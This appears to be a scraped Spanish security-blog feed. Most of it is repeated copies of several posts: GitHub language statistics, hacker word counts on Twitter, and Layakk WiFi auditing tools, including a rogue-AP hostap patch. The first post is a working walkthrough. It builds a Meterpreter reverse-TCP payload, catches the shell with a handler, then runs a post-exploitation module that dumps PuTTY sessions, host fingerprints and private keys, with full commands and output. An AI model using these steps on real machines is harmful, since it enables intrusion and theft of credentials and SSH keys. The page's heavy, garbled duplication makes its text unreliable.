Vale, ya tenemos la chell remota como podéis comprobar:
Antes de seguir, como el msfupdate no me añade este módulo (todavía), vamos a traerlo a cascoporro:
Recargamos:
Y estrenamos nuestro nuevo módulo:
Fuente: https://github.com/rapid7/metasploit-framework/pull/5359
![]() |
Yes... the PuTTY CLUB exists... |
Stufus ha desarrollado un módulo de post-explotación para Metasploit que extrae información *muy útil* de PuTTY y Pageant (el primo-agente SSH de PuTTY): enumera las sesiones guardadas y los fingerprints de confianza y obtiene las claves privadas. Yo he convencido a un amigo administrador que usa PuTTY para probar el módulo XD, así que vamos a ello...
Primero genero el payload, sin necesidad de hacerlo FuD, porque mi amigo lo va a ejecutar desactivando el AV previamente (gracias amigo):
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=80 -f exe > shell.exe
Luego pongo la oreja y espero plácidamente que llamen a la puerta:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.206.128
LHOST => 192.168.206.128
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.206.128:80
[*] Starting the payload handler...
msf exploit(handler) >
msf exploit(handler) >
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:80 -> 192.168.206.1:15655) at 2015-08-26 11:22:02 -0400
Vale, ya tenemos la chell remota como podéis comprobar:
msf exploit(handler) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 DOMINIO\amigo @ PC123-21 192.168.206.128:80 -> 192.168.206.1:15655 (192.168.206.1)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
Antes de seguir, como el msfupdate no me añade este módulo (todavía), vamos a traerlo a cascoporro:
root@kali:/# mkdir -p $HOME/.msf4/modules/post/windows/gather/
root@kali:/# curl -Lo ~/.msf4/modules/post/windows/gather/enum_putty_saved_sessions.rb https://raw.githubusercontent.com/stufus/metasploit-framework/8b8ed04a73611456cc52b809c967334d88284843/modules/post/windows/gather/enum_putty_saved_sessions.rb
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 11206 100 11206 0 0 23177 0 --:--:-- --:--:-- --:--:-- 23152
Recargamos:
msf exploit(handler) > reload_all
[*] Reloading modules from all module paths...
Y estrenamos nuestro nuevo módulo:
msf exploit(handler) > use post/windows/gather/enum_putty_saved_sessions
msf post(enum_putty_saved_sessions) > set session -1
session => -1
msf post(enum_putty_saved_sessions) > run
[*] Looking for saved PuTTY sessions
[*] Found 14 sessions
PuTTY Saved Sessions
====================
Name HostName UserName PublicKeyFile PortNumber PortForwardings
---- -------- -------- ------------- ---------- ---------------
checkpoint1 192.168.10.30 22
checkpoint2 192.168.8.30 22
srv23sa 192.168.15.8 22
srv24sa 172.40.15.8 22
kali 192.168.206.128 22
kali2 172.20.15.203 223
pc2563_mad1_b1 192.168.107.19 22
pc2563_mad1_b2 192.168.107.18 22
pt121_bcn_b1 172.40.15.12 22
pt121_bcn_b2 192.168.15.12 22
kalandrid 192.168.0.30 22
sobera2 192.168.17.23 22
rojo231 192.168.0.25 22
srv45sa srv45sa.local 22
[*] PuTTY saved sessions list saved to /root/.msf4/loot/20150826114650_default_192.168.206.1_putty.sessions.c_738014.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...
[*] Looking for previously stored SSH host key fingerprints
[*] Found 28 stored key fingerprints
[*] Downloading stored key fingerprints...
Stored SSH host key fingerprints
================================
SSH Endpoint Key Type(s)
------------ -----------
172.40.15.8:22 rsa2
192.168.15.8:22 rsa2
192.168.0.25:22 rsa2
172.16.0.1:22 rsa2
192.168.177.128:22 rsa2
192.168.8.30:22 rsa2
88.26.211.211:22 rsa2
srv45sa:22 rsa2
192.168.142.130:22 rsa2
192.168.107.18:22 rsa2
192.168.10.30:22 rsa2
192.168.0.30:22 rsa2
192.168.107.19:22 rsa2
192.168.15.12:22 rsa2
172.40.15.12:22 rsa2
192.168.17.22:22 rsa2
192.168.242.128:22 rsa2
192.168.242.129:22 rsa2
192.168.0.15:22 rsa2
83.59.38.78:22 rsa2
83.36.133.215:22 rsa2
81.39.79.95:22 rsa2
172.20.15.202:22 rsa2
172.20.15.201:22 rsa2
172.20.15.203:22 rsa2
192.168.1.33:22 rsa2
192.168.17.23:22 rsa2
192.168.206.128:22 rsa2
[*] PuTTY stored host keys list saved to /root/.msf4/loot/20150826114656_default_192.168.206.1_putty.storedfing_883782.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
[*] Looking for Pageant...
[+] Pageant is running (Handle 0x0)
[*] Post module execution completed
Fuente: https://github.com/rapid7/metasploit-framework/pull/5359
↧
↧
Los lenguajes de programación más usados en GitHub en 2015
La semana pasada GitHub publicó el siguiente gráfico con la evolución de la popularidad de los lenguajes de programación más utilizados en su plataforma:
Los resultados representan los lenguajes más usados en repositorios públicos y privados, excluyendo los forks (al menos los detectados). Como veis GitHub ha ganado mucho tirón entre la comunidad Java (del 7º al 2º puesto), probablemente debido a la popularidad de Android y al incremento de la demanda de servicios de control de versiones en empresas.
Bonus: Por otro lado y según estadísticas del año pasado, los usuarios más activos fueron:
Y los países con el mayor número de repositorios:
Fuentes:
- https://github.com/blog/2047-language-trends-on-github
- http://githut.info/
- https://gist.github.com/paulmillr/2657075/
- http://nlpx.net/statistical-analysis-of-stackoverflow-and-github-users/
Los resultados representan los lenguajes más usados en repositorios públicos y privados, excluyendo los forks (al menos los detectados). Como veis GitHub ha ganado mucho tirón entre la comunidad Java (del 7º al 2º puesto), probablemente debido a la popularidad de Android y al incremento de la demanda de servicios de control de versiones en empresas.
Bonus: Por otro lado y según estadísticas del año pasado, los usuarios más activos fueron:
# | Usuario | Contribs | Lenguaje | Localización | |
---|---|---|---|---|---|
#1 | taylorotwell (Taylor Otwell) | 16210 | Arkansas | ||
#2 | GrahamCampbell (Graham Campbell) | 12172 | PHP | The United Kingdom | |
#3 | brianchandotcom (Brian Chan) | 10016 | JavaScript | Los Angeles, CA | |
#4 | michalbe (Michał Budzyński) | 9584 | JavaScript | Warsaw, Poland | |
#5 | fabpot (Fabien Potencier) | 8396 | PHP | Paris, France | |
#6 | kevinsawicki (Kevin Sawicki) | 8110 | JavaScript | Redwood City, CA | |
#7 | springmeyer (Dane Springmeyer) | 7185 | C++ | Winthrop, WA | |
#8 | rkh (Konstantin Haase) | 6316 | Ruby | Berlin | |
#9 | ornicar (Thibault Duplessis) | 6183 | PHP | Paris, France | |
#10 | sebmck (Sebastian McKenzie) | 6129 | JavaScript | London |
Y los países con el mayor número de repositorios:
№ | País | Número de usuarios |
1 | USA | 253452 |
2 | India | 67297 |
3 | Great Britain | 33395 |
4 | Germany | 19706 |
5 | Canada | 16685 |
6 | China | 14234 |
7 | Australia | 12592 |
8 | Brazil | 12325 |
9 | France | 12217 |
10 | Russia | 11319 |
Fuentes:
- https://github.com/blog/2047-language-trends-on-github
- http://githut.info/
- https://gist.github.com/paulmillr/2657075/
- http://nlpx.net/statistical-analysis-of-stackoverflow-and-github-users/
↧
Las 100 palabras más usadas en Twitter por hackers y entusiastas de la seguridad
Twitter no es evidentemente el lugar idóneo para que los hackers puedan discutir sobre sus asuntos manteniendo la privacidad, para eso están los IRCs (hola nostálgicos!), foros y otros canales cifrados. No obstante puede ser un medio perfecto para que la información fluya y se comparta.
¿Y de que es lo que más hablan los hackers y otros entusiastas de la seguridad informática en Twitter? Pues existe un portal llamado Topsy que recopila todos los tweets desde el año 2006, los busca y los analiza ofreciendo interesantes estadísticas. Mediante este portal hemos podido saber los términos y palabras que más nos suenan y más resuenan entre la comunidad entusiasta de la seguridad informática y también el "público" en general en el último mes, y los resultados son bastante interesantes.
Por ejemplo, este ha sido el mes del escándalo 'ashley madison' y así lo reflejan sus casi 600.000 tweets registrados sólo desde el día 17 de agosto. Luego en los primeros puestos se sitúan términos generalistas que también tienen otros significados fuera del ámbito de la seguridad informática como 'code', 'community', 'attack', etc. y destacan algunos más específicos como 'password', 'virus', 'root', ...
Que cada uno saque sus propias conclusiones. Os dejo esta y otras listas (en inglés) por si queréis también satisfacer vuestra curiosidad:
Top 100 - hacking & security terms
2.9M code
2.1M community
2.3M attack
1.9M weak
1.8M security
1.5M network
1.7M fix
1.2M crack
805k steal
762k hack
614k analysis
607k threat
599k ashley madison
542k banned
533k bug
507k pirate
504k technical
451k password
428k virus
414k root
398k hacked
396k fraud
389k patch
384k troll
375k leak
367k cyber
364k privacy
354k spy
309k tracking
300k theft
299k nsa
275k tor
244k hacking
238k cracking
213k hacker
207k vulnerable
189k administrator
133k flaws
111k worm
98k cracker
88k exploit
88k krank
82k wikileaks
79k injection
77k malware
73k vulnerability
72k antivirus
67k mr.robot
66k resilience
63k sexting
63k bypass
61k censorship
60k newbie
53k overflow
53k compromised
46k hooking
46k trojan
44k penetration
44k tweak
40k forensic
39k defeating
39k dron
37k firewall
37k scanning
31k backdoor
29k kernel
27k exploiting
20k reversing
19k phishing
19k spyware
18k hijacking
15k sysadmin
14k debugging
14k crypt
13k intrusion
13k hacking team
13k scripting
12k honeypot
8k keygen
7k adware
6.8k encrypt
6.7k xss
5.7k hardening
4.7k malvertising
4.7k pwned
4.2k spoofing
3.7k rce
3.5k 0day
2.5k cyberwar
1.9k obfuscate
1.5k hacktivism
1.3k pentesting
1.2k fuzzing
1k shellcode
841 pentest
774 steganography
716 lockpicking
396 crypter
167 dfir
68 maltelligence
Top 15 - famous hackers
18k Edward Snowden
6.9k Linus Torvalds
3.3k Tim Berners-Lee
1.8k Aaron Swartz
1.6k Richard Stallman
396 Kevin Mitnick
76 Jonathan James
68 Adrian Lamo
67 Gary McKinnon
57 Stephen Wozniak
38 Kevin Poulsen
28 Albert Gonzalez
26 HD Moore
13 George Hotz
13 Vladimir Levin
Top 10 - programming lenguages
411k ruby
339k java
311k php
223k html
176k javascript
154k css
146k python
61k c++
54k c#
12k powershell
Top 20 - Internet general
29M twitter
15M facebook
6M internet
5.5M google
5.2M android
3.9M machine
3.7M web
3.6M iOS
3.3M windows
3.2M whatsapp
2.4M email
2.2M wifi
1.5M computer
1.4M microsoft
1.1M technology
924k server
234k linux
218k sap
185k raspberry
9,7k datacenter
Top 5 - misc.
17M fuck
7M sex
4.7M rock
2.4M porn
1.2M drugs
¿Y de que es lo que más hablan los hackers y otros entusiastas de la seguridad informática en Twitter? Pues existe un portal llamado Topsy que recopila todos los tweets desde el año 2006, los busca y los analiza ofreciendo interesantes estadísticas. Mediante este portal hemos podido saber los términos y palabras que más nos suenan y más resuenan entre la comunidad entusiasta de la seguridad informática y también el "público" en general en el último mes, y los resultados son bastante interesantes.
Por ejemplo, este ha sido el mes del escándalo 'ashley madison' y así lo reflejan sus casi 600.000 tweets registrados sólo desde el día 17 de agosto. Luego en los primeros puestos se sitúan términos generalistas que también tienen otros significados fuera del ámbito de la seguridad informática como 'code', 'community', 'attack', etc. y destacan algunos más específicos como 'password', 'virus', 'root', ...
Que cada uno saque sus propias conclusiones. Os dejo esta y otras listas (en inglés) por si queréis también satisfacer vuestra curiosidad:
Top 100 - hacking & security terms
2.9M code
2.1M community
2.3M attack
1.9M weak
1.8M security
1.5M network
1.7M fix
1.2M crack
805k steal
762k hack
614k analysis
607k threat
599k ashley madison
542k banned
533k bug
507k pirate
504k technical
451k password
428k virus
414k root
398k hacked
396k fraud
389k patch
384k troll
375k leak
367k cyber
364k privacy
354k spy
309k tracking
300k theft
299k nsa
275k tor
244k hacking
238k cracking
213k hacker
207k vulnerable
189k administrator
133k flaws
111k worm
98k cracker
88k exploit
88k krank
82k wikileaks
79k injection
77k malware
73k vulnerability
72k antivirus
67k mr.robot
66k resilience
63k sexting
63k bypass
61k censorship
60k newbie
53k overflow
53k compromised
46k hooking
46k trojan
44k penetration
44k tweak
40k forensic
39k defeating
39k dron
37k firewall
37k scanning
31k backdoor
29k kernel
27k exploiting
20k reversing
19k phishing
19k spyware
18k hijacking
15k sysadmin
14k debugging
14k crypt
13k intrusion
13k hacking team
13k scripting
12k honeypot
8k keygen
7k adware
6.8k encrypt
6.7k xss
5.7k hardening
4.7k malvertising
4.7k pwned
4.2k spoofing
3.7k rce
3.5k 0day
2.5k cyberwar
1.9k obfuscate
1.5k hacktivism
1.3k pentesting
1.2k fuzzing
1k shellcode
841 pentest
774 steganography
716 lockpicking
396 crypter
167 dfir
68 maltelligence
Top 15 - famous hackers
18k Edward Snowden
6.9k Linus Torvalds
3.3k Tim Berners-Lee
1.8k Aaron Swartz
1.6k Richard Stallman
396 Kevin Mitnick
76 Jonathan James
68 Adrian Lamo
67 Gary McKinnon
57 Stephen Wozniak
38 Kevin Poulsen
28 Albert Gonzalez
26 HD Moore
13 George Hotz
13 Vladimir Levin
Top 10 - programming lenguages
411k ruby
339k java
311k php
223k html
176k javascript
154k css
146k python
61k c++
54k c#
12k powershell
Top 20 - Internet general
29M twitter
15M facebook
6M internet
5.5M google
5.2M android
3.9M machine
3.7M web
3.6M iOS
3.3M windows
3.2M whatsapp
2.4M email
2.2M wifi
1.5M computer
1.4M microsoft
1.1M technology
924k server
234k linux
218k sap
185k raspberry
9,7k datacenter
Top 5 - misc.
17M fuck
7M sex
4.7M rock
2.4M porn
1.2M drugs
↧
WiFi... sí, gracias!
¿Tienes Wi-Fi? - Claro. - ¿Cuál es la clave? pagarlo!
No sé si acaso es debido a mi timidez o que no suelo causar buena impresión a menos de 50m (y en foto).Ahora que me pongo a pensar.!!!...quizás sea debido a mi problema con el alcohol o a mi natural vicio de ir en pelotas, o a mi animadversión a la autoridad... mis ojos blancos... o mi raro problema con las drogas y el Skateboarding no sé...., no pagar las multas, ver vikingos, jdt ...no sé,... .
Los 50mtrs me parecen una medida perfecta para... casi cualquier cosa... las palabras... radiofrecuencia y... aburrimiento... hacen un cocktail perfecto. He de confesar que desde hace un año pago mi wifi....pero por jugar al battlefield sin lag. Por lo demás es una grandísima mi....rada hacia el pasado...
Se que a muchos de vosotros (como a mi) os gusta leer poesía, ir de entierro, conocer al padre de vuestra novia, y por su puesto odiáis a aquella gente que prefiere bajarse las fotos de la boda del vecino, o gorronearle el media center.. Sea como fuera, coñas a parte.....
Hoy os traigo un puñado de herramientas para auditar redes wifi made in Spain que después de probarlas me han dejado la boca como a una veinteañera después de comerse una perao era después de comerle las peras .. a una. vein ...jojojo como estoy hoy!
Perdón ahora si, sin tonterías..
Después de repasar unos vídeos reparé en la charla (brillante y sencilla, como deben ser las cosas) de la gente de Lallakk que dieron en la Rooted,que dicho sea de paso hoy por hoy, estas herramientas se han hecho imprescindibles en mi home....
La primera que vamos a ver es una herramienta muy sencilla escrita en python de la cual ya no puedo pasar aunque quiera, se llama lk_wifi_device_finder.py y la podéis bajar directamente de la página de sus creadores http://www.layakk.com/ en la sección de lab.
La herramienta en sí, nos ayuda a determinar cual es la mejor posición para recibir una determinada señal y emite una serie de pitidos en base a la calidad ésta. Veamos como funciona...
Para hacerla operativa en nuestros sistemas tenemos una serie de pequeños requisitos:
Bajamos la interfaz, la ponemos en modo monitor, la levantamos y elegimos el canal a escuchar. Tras esto y después de darle permisos de ejecución arrancamos la aplicación pasándole los argumentos que deseemos.
Aparte estamos recibiendo en todo momento una señal acústica la cual se hace mas notable conforme nos acercamos a la mejor posición para recibir la señal, esta característica hace a esta tool la mar de practica.
La siguiente utilidad que os quiero presentar son realmente unos parches para hostap (sabéis como me gusta esta herramienta que me esta siendo últimamente muy útil). Su nombre lk_hostap_patch-v1.0.tgz.
No sé si acaso es debido a mi timidez o que no suelo causar buena impresión a menos de 50m (y en foto).
Los 50mtrs me parecen una medida perfecta para... casi cualquier cosa... las palabras... radiofrecuencia y... aburrimiento... hacen un cocktail perfecto. He de confesar que desde hace un año pago mi wifi...
Se que a muchos de vosotros (como a mi) os gusta leer poesía, ir de entierro, conocer al padre de vuestra novia, y por su puesto odiáis a aquella gente que prefiere bajarse las fotos de la boda del vecino, o gorronearle el media center.. Sea como fuera, coñas a parte.....
Hoy os traigo un puñado de herramientas para auditar redes wifi made in Spain que después de probarlas me han dejado la boca como a una veinteañera después de comerse una pera
Perdón ahora si, sin tonterías..
La primera que vamos a ver es una herramienta muy sencilla escrita en python de la cual ya no puedo pasar aunque quiera, se llama lk_wifi_device_finder.py y la podéis bajar directamente de la página de sus creadores http://www.layakk.com/ en la sección de lab.
La herramienta en sí, nos ayuda a determinar cual es la mejor posición para recibir una determinada señal y emite una serie de pitidos en base a la calidad ésta. Veamos como funciona...
Para hacerla operativa en nuestros sistemas tenemos una serie de pequeños requisitos:
python-scapy python-pyaudio libasound2
Bajamos la interfaz, la ponemos en modo monitor, la levantamos y elegimos el canal a escuchar. Tras esto y después de darle permisos de ejecución arrancamos la aplicación pasándole los argumentos que deseemos.
Aparte estamos recibiendo en todo momento una señal acústica la cual se hace mas notable conforme nos acercamos a la mejor posición para recibir la señal, esta característica hace a esta tool la mar de practica.
La siguiente utilidad que os quiero presentar son realmente unos parches para hostap (sabéis como me gusta esta herramienta que me esta siendo últimamente muy útil). Su nombre lk_hostap_patch-v1.0.tgz.
El parche en cuestión dota a hostap de nuevas propiedades: La principal sería que podemos ser capaces de elegir a quien le damos servicio dependiendo del fabricante, y la otra da la capacidad de anonimizar las macs que salen por pantalla y en los logs.
Para ello debemos compilar hostap desde las fuentes aplicando parches (aquí solamente aplico el parche de vendors).
root # git clone git://w1.fi/srv/git/hostap.git
root# cd hostap
root/hostap#patch -p1</home/manuel/wifi/lk_hostap_patch-v1.0/patch_layakk_hostap-Vendor_ACLs-a60dbbce443d62c403492549a1353ed1a3eaefb4
root/hostap# cd src/
root/hostap/src#make & make install.
Para arrancar nuestro fake ap con su nueva funcionalidad necesitaremos generar y modificar un par de archivos; crearemos vendor.deny y modificaremos el fichero de configuración de hostap donde le diremos cuál es la ruta a este archivo (vendor.deny)..
En vendor.deny pondremos los fabricantes que no queremos que se conecten a nuestro falso ap, por ejemplo Apple:
En vendor.deny pondremos los fabricantes que no queremos que se conecten a nuestro falso ap, por ejemplo Apple:
y luego arrancamos hostap normalmente... http://www.hackplayers.com/2014/01/rogue-ap-sin-airbase.html
Por último el plato fuerte. Para quien se haya enfrentado a los resultados que arroja kismet en un ámbito wifi concurrido, puede llegar a ser una locura dar con los datos que te interesan.
A ésto, los chicos de Layakk han encontrado una solución bastante práctica:
lk_k2db v1.0.
Cómo funciona: debemos coger el resultado de kismet (un .xml) lo pasamos por lk_2kdb.py el cual nos genera una base de datos. Luego tenemos una serie de scripts en la carpeta scripts para hacer consultas y cruzar datos de una manera muy pero que muy practica...
Tampoco tiene desperdicio su control de servos (el cual confieso que lo estoy utilizando en alguna cámara de vigilancia casera..),
lk_servo_system.py_v1.0lk_servo_system.conf.examplelk_pantilt.py v1.1
la cual se puede auto ajustar robóticamente con:
lk_beam_finder.py v1.0
Lo mejor es que si queréis mas detalles veáis la demo (esta en "fuentes").
Un saludo ...
Por último el plato fuerte. Para quien se haya enfrentado a los resultados que arroja kismet en un ámbito wifi concurrido, puede llegar a ser una locura dar con los datos que te interesan.
A ésto, los chicos de Layakk han encontrado una solución bastante práctica:
lk_k2db v1.0.
Cómo funciona: debemos coger el resultado de kismet (un .xml) lo pasamos por lk_2kdb.py el cual nos genera una base de datos. Luego tenemos una serie de scripts en la carpeta scripts para hacer consultas y cruzar datos de una manera muy pero que muy practica...

lk_servo_system.py_v1.0lk_servo_system.conf.examplelk_pantilt.py v1.1
la cual se puede auto ajustar robóticamente con:
lk_beam_finder.py v1.0
Lo mejor es que si queréis mas detalles veáis la demo (esta en "fuentes").
Un saludo ...
↧